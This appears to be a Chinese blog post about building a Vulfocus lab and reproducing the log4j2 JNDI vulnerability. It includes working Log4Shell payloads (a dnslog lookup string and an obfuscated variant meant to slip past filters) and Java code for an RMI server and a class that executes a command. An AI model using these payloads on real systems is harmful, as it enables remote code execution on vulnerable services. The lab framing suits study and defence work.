漏洞环境搭建及log4j2简单复现

admin 2024年1月10日15:44:42评论22 views字数 2492阅读8分18秒阅读模式

 Part1 前言    

0x01 Vulfocus 

Vulfocus是一个漏洞集成平台,将docker 漏洞镜像,放入即可使用,开箱即用的平台,可以用于漏洞复现,POC验证,EXP验证,快速搭建启动漏洞环境,同时也是一个在线的漏洞学习平台,提供在线靶场,环境编排功能,进行环境模拟供学习。

0x02 log4j2

log4j2是apache下的java应用常见的开源日志库,是一个记录Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。

 Part2漏洞环境搭建  

0x01.命令行拉取vulfocus 镜像

docker pull vulfocus/vulfocus:latest

  漏洞环境搭建及log4j2简单复现

0x02构建镜像    

docker create -p 9999:80 -v /var/run/docker.sock:/var/run/docker.sock vulfocus/vulfocus

  9999可自行定义为自己需要的端口,进入桌面docker启动镜像

漏洞环境搭建及log4j2简单复现

0x03搭建完成

默认账号密码:admin/admin    

漏洞环境搭建及log4j2简单复现

漏洞环境搭建及log4j2简单复现

0x04镜像同步

刚开始镜像列表中是没有的,要来到镜像管理点击一键同步。同步后便会展示所有漏洞镜像,按需拉取即可。    

漏洞环境搭建及log4j2简单复现

漏洞环境搭建及log4j2简单复现

 Part3 log4j漏洞复现  

0x01.配置镜像

在镜像管理搜索log4j,随便选择第一个,点击下载,下载完成后会自动导入。    

漏洞环境搭建及log4j2简单复现

0x02.启动环境

漏洞环境搭建及log4j2简单复现

0x03漏洞复现

Payload:

Dnslog:

${jndi:ldap://xxx.dnslog.cn}    

漏洞环境搭建及log4j2简单复现

漏洞环境搭建及log4j2简单复现

0x04 本地源码搭建分析

漏洞依赖

Java环境 1.8.0_52

Log4j依赖:

<dependency>

    <groupId>
org.apache.logging.log4j</groupId>

    <artifactId>
log4j-core</artifactId>

    <version>
2.14.1</version>

</dependency>
<dependency>
 <groupId>org.apache.logging.log4j</groupId>

    <artifactId>
log4j-api</artifactId>

    <version>
2.14.1</version>

</dependency>

本地rmi服务代码

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public
class
Rmi{public static void main(String[] args) throws Exception {

        Registry registry = LocateRegistry.createRegistry(
1099);

       
String url = "http://127.0.0.1:8081/";

       
Reference reference = new Reference("Calc", "Calc", url);

       
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

       
registry.bind("calc", referenceWrapper);

   
}

}

使用java编译payload

命令:javac Calc.java

public class Calc {

   
static {

       
try {

            System.
out.println("calc");

           
Runtime.getRuntime().exec("calc");

       
} catch (Exception e) {

            e.printStackTrace()
;

       
}

    }

}

使用py启动一个http服务    漏洞环境搭建及log4j2简单复现

运行Rmi中主程序,启动一个rmi服务。

本地漏洞利用代码

public class log4j2EXP {

   
public static void main(String[] args) {

        Logger logger = LogManager.getLogger(LongFunction.
class);



       
String username = "${jndi:rmi://127.0.0.1:1099/calc}";



       
logger.error(username);

   
}

}

0x05 细节分析

在动态调试过程中,打印日志会经过org.apache.logging.log4j.core.lookup. Interpolator#lookup方法,也就是说参数可控。并且会经过197行

漏洞环境搭建及log4j2简单复现    

漏洞环境搭建及log4j2简单复现

value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);的lookup.lookup(event, name)方法。该方法最终会初始化到org.apache.logging.log4j.core.lookup.JndiLookup中

漏洞环境搭建及log4j2简单复现

最终调用javax.naming 的 JDK 相关代码,远程加载Calc 类,进而执行系统命令。    

漏洞环境搭建及log4j2简单复现

0x06 payload混淆

org.apache.logging.log4j.core.pattern.MessagePatternConverter的114行存在一个逻辑,将${}的内容逐个解析,所以可以利用这一特性,进而优化payload    

漏洞环境搭建及log4j2简单复现

Payload:${${lower:J}ndi:rm${a:-i}://127.0.0.1:1099/calc}

漏洞环境搭建及log4j2简单复现

原文始发于微信公众号(影流R):漏洞环境搭建及log4j2简单复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月10日15:44:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞环境搭建及log4j2简单复现http://cn-sec.com/archives/2337798.html

发表评论

匿名网友 填写信息